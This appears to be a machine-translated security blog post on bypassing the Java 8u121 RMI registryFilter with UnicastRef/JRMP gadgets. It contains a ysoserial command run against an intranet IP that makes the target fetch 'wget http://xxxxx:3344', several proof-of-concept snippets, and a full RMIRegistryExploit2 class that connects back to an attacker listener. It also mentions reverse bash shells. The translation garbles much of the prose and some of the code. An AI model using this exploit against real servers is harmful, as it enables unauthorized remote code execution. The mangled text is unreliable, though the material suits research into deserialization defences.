instructions

In the daily scanning of Intranet servers, it was found that several hosts opened RMI service. Based on previous experience, RMI service had deserialization vulnerability. I thought that WE could directly take ySOSerial as a shuttle and do it directly.

Java – cp ysoserial. Exploits. RMIRegistryExploit 10.9.15.193 9999 CommonsCollections2 wget “http://xxxxx:3344”

Filter Status: REJECTED

Appear this kind of circumstance is the cause of eight update 121] after [Java RMIRegistryImpl. RegistryFilter () The limits of http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/5534221c23fc/src/share/classes/sun/rmi/registry/RegistryImpl.java#l38 8

You can see that the type is limited in the registryFilter function after IDK8 Update 121.

Write a local RMI registration service simulation:

public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
    //System.setProperty("sun.rmi.registry.registryFilter"."java.util.HashMap;");
    //System.setProperty("sun.rmi.registry.registryFilter"."java.util.HashMap; sun.reflect.annotation.**;");
    //System.setProperty("sun.rmi.registry.registryFilter"."java.**; sun.reflect.annotation.**; com.sun.**");
    //System.setProperty("sun.rmi.registry.registryFilter"."org.apache.commons.collections4.comparators.TransformingComparator");
    HelloService helloService = new HelloServiceImpl();
    LocateRegistry.createRegistry(12306);
    Naming.bind("rmi://localhost:12306/helloService", helloService);
    System.out.println("ServerMain provide RPC service now");

}Copy the code

Start with a Java – cp ysoserial. Exploits. RMIRegistryExploit 127.0.0.1 12306 CommonsCollections2 “wget http://xxxxx:3344 “to discover the server burst

ServerMain dojo.provide RPC service now on September 20, 2018 Java 12:31:57 afternoon. IO. ObjectInputStream filterCheck information: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 8, depth: 2, bytes: 298, ex: n/aCopy the code

Here it is clear why the AnnotationInvocationHandler this class is stopped, because in CommonsCollections2 is actually using the dynamic proxy to strengthen, Java Deserialization Vulnerability – CommonsCollection(1)

So I focus on Number(not considering), Remote, Proxy, UnicastRef, RMIClientSocketFactory, RMIServerSocketFactory, ActivationID, UID(basically not considered) in these classes.

UnicastRef caught my attention. If you have any impressions, you will know that UnicastRef itself was used in the deserialization of Amf3.

So here’s the switch attack line:

The road to debug

That said, but in the process of debugging and trying to step on a lot of pits, fortunately did not give up. We focused on building the Remote object, starting with UnicastRef. Directly using the Java AMF3 deserialization vulnerability analysis similar writing

public static UnicastRef generateUnicastRef(String host, int port) {
    java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
    sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
    sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
    return new sun.rmi.server.UnicastRef(liveRef);
}Copy the code

And then do a little bit based on RMIRegistryExploit and change it a little bit, just put it

Object payload = payloadObj.getObject(command); //CommonsCollections2 String name ="pwned" + System.nanoTime();
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);Copy the code

to

Object payload = generateUnicastRef("127.0.0.1"."3348");
String name = "pwned" + System.nanoTime();
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);Copy the code

The answer is that the server is still critical ObjectInputFilter REJECTED, this is very normal, because the Gadgets. CreateMemoitizedProxy processing logic itself is AnnotationInvocationHandler this used to dynamic proxy, Added during local server debugging

System. SetProperty (” sun, rmi registry. RegistryFilter “, “Java.; sun.reflect.annotation. ; Com. Sun. * * “); UnicastRef can be deserialized without ObjectInputFilter REJECTED (ObjectInputFilter REJECTED). UnicastRef can be deserialized without ObjectInputFilter REJECTED (ObjectInputFilter REJECTED). UnicastRef itself is within the scope of registryFilter, but a Remote object needs to be passed in at Registry.bind (name, remote). If we package UnicastRef as Remote, for example:

1. Dynamic reflection

2. Find a class that either inherits or implements Remote and uses UnicastRef type as one of its fields

Customize a reflection

public static class PocHandler implements InvocationHandler, Serializable {
    private RemoteRef ref;

    protected PocHandler(RemoteRef newref) {
        ref = newref;
    }


    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        returnmethod.invoke(this.ref, args); }}Copy the code
UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort); Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<? >[]{Remote.class}, new PocHandler(unicastRef)); registry.bind("2333", remote);Copy the code

UnicastRemoteObject(Remote) = UnicastRef (ref) = ref (ref) = ref (ref) The parent class of the parent class has a ref field in the RemoteObject. But is declared transient(will not be serialized and will be null even after deserialization).

Can only see the source code, looking for a long time (really) for a long time to find a RemoteObjectInvocationHandler itself is InvocationHandler also there will be no exception.

UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort); Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<? >[]{Activator.class}, new PocHandler(unicastRef)); registry.bind("23333", remote);Copy the code

There is also an RMIConnectionImpl_Stub class, case 2

UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
RMIConnectionImpl_Stub remote = new RMIConnectionImpl_Stub(unicastRef);
registry.bind(name, remote);Copy the code

Can also not abnormal, happy.

bingo

Local debugging good oneself to start to execute commands, such as rebound bash, use http://jackson.thuraisamy.me/runtime-exec-payloads.html need to base64 after execution. Finally, post the code:

package ysoserial.exploit; import com.sun.jndi.rmi.registry.ReferenceWrapper; import sun.rmi.server.UnicastRef; import sun.rmi.server.UnicastServerRef; import ysoserial.payloads.CommonsCollections1; import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Reflections; import ysoserial.secmgr.ExecCheckingSecurityManager; import sun.rmi.registry.RegistryImpl; import javax.management.remote.rmi.RMIConnectionImpl_Stub; import javax.net.ssl.*; import java.io.IOException; import java.io.ObjectInput; import java.io.ObjectOutput; import java.io.Serializable; import java.lang.reflect.*; import java.net.Socket; import java.rmi.ConnectIOException; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.activation.Activator; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.*; import java.security.cert.X509Certificate; import java.util.concurrent.Callable; /** * Use UnicastRef injection, Bypassobjectinputfilter checkInput for several base types * sun.rmi.registry. */ Public class RMIRegistryExploit2 {private static class TrustAllSSL extends X509ExtendedTrustManager { private static final X509Certificate[] ANY_CA = {}; public X509Certificate[]getAcceptedIssuers() {
            return ANY_CA;
        }

        public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }

        public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }

        public void checkServerTrusted(final X509Certificate[] c, final String t, final SSLEngine e) { /* Do nothing/accept all */ }

        public void checkServerTrusted(final X509Certificate[] c, final String t, final Socket e) { /* Do nothing/accept all */ }

        public void checkClientTrusted(final X509Certificate[] c, final String t, final SSLEngine e) { /* Do nothing/accept all */ }

        public void checkClientTrusted(final X509Certificate[] c, final String t, final Socket e) { /* Do nothing/accept all */ }
    }

    private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
        public Socket createSocket(String host, int port) throws IOException {
            try {
                SSLContext ctx = SSLContext.getInstance("TLS");
                ctx.init(null, new TrustManager[]{new TrustAllSSL()}, null);
                SSLSocketFactory factory = ctx.getSocketFactory();
                return factory.createSocket(host, port);
            } catch (Exception e) {
                throw new IOException(e);
            }
        }
    }

    public static void main(final String[] args) throws Exception {
        System.out.println("RMIRegistryHost RMIRegistryPort JRMPListenerHost JRMPListenerPort");
        final String rmiRegistryHost = args[0];
        final int rmiRegistryPort = Integer.parseInt(args[1]);
        final String jrmpListenerHost = args[2];
        final int jrmpListenerPort = Integer.parseInt(args[3]);
        Registry registry = LocateRegistry.getRegistry(rmiRegistryHost, rmiRegistryPort);

        // test RMI registry connection and upgrade to SSL connection on fail
        try {
            registry.list();
        } catch (ConnectIOException ex) {
            registry = LocateRegistry.getRegistry(rmiRegistryHost, rmiRegistryPort, new RMISSLClientSocketFactory());
        }

        // ensure payload doesn't detonate during construction or deserialization exploit(registry, jrmpListenerHost, jrmpListenerPort); } public static void exploit(final Registry registry, final Class
       payloadClass, final String command) throws Exception { new ExecCheckingSecurityManager().callWrapped(new Callable
      
       () { public Void call() throws Exception { ObjectPayload payloadObj = payloadClass.newInstance(); Object payload = payloadObj.getObject(command); String name = "pwned" + System.nanoTime(); Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class); try { registry.bind(name, remote); } catch (Throwable e) { e.printStackTrace(); } Utils.releasePayload(payloadObj, payload); return null; }}); } public static void exploit(final Registry registry, final String jrmpListenerHost, final int jrmpListenerPort) throws Exception { UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort); /* poc 1*/ RMIConnectionImpl_Stub remote = new RMIConnectionImpl_Stub(unicastRef); /* poc2 Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class
       []{Activator.class}, new PocHandler(unicastRef)); */ /* poc3 Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class
       [] { Activator.class }, new RemoteObjectInvocationHandler(unicastRef)); */ * poc4 failed, Invalid UnicastRemoteObject remote = Reflections. CreateWithoutConstructor (Java. The rmi. Server. UnicastRemoteObject. Class); Reflections.setFieldValue(unicastRemoteObject, "ref", unicastRef); */ String name = "pwned" + System.nanoTime(); try { registry.bind(name, remote); } catch (Throwable e) { e.printStackTrace(); }} /*** * Generate a UnicastRef object * @param host * @param port * @return */ public static UnicastRef generateUnicastRef(String) host, int port) { java.rmi.server.ObjID objId = new java.rmi.server.ObjID(); sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port); sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false); return new sun.rmi.server.UnicastRef(liveRef); } public static class PocHandler implements InvocationHandler, Serializable { private RemoteRef ref; protected PocHandler(RemoteRef newref) { ref = newref; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { return method.invoke(this.ref, args); }}}
      Copy the code

Finally found in ysoserial. Payloads. JRMPClient actually have, have, to hurt me debug for so long.

But found RemoteObjectInvocationHandler and RMIConnectionImpl_Stub two, debug the track for so long somehow some comfort. See just know RemoteObjectInvocationHandler and RMIConnectionImpl_Stub to use had been made, and feel a certain closed message. https://xz.aliyun.com/t/2479 a few class relations, debugging time record, name is about the same, UnicastRemoteObject->RemoteServer->RemoteObject->Remote UnicastServerRef2->UnicastServerRef->UnicastRef->RemoteRef->Externalizable

reference

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/5534221c23fc/src/share/classes/sun/rmi/registry/RegistryImpl.java#l388

https://stackoverflow.com/questions/41821240/rmi-registry-filter-rejects-rmi-configuration-class-in-java-8-update-121

https://www.anquanke.com/post/id/85846

https://github.com/frohoff/ysoserial

https://xz.aliyun.com/t/2479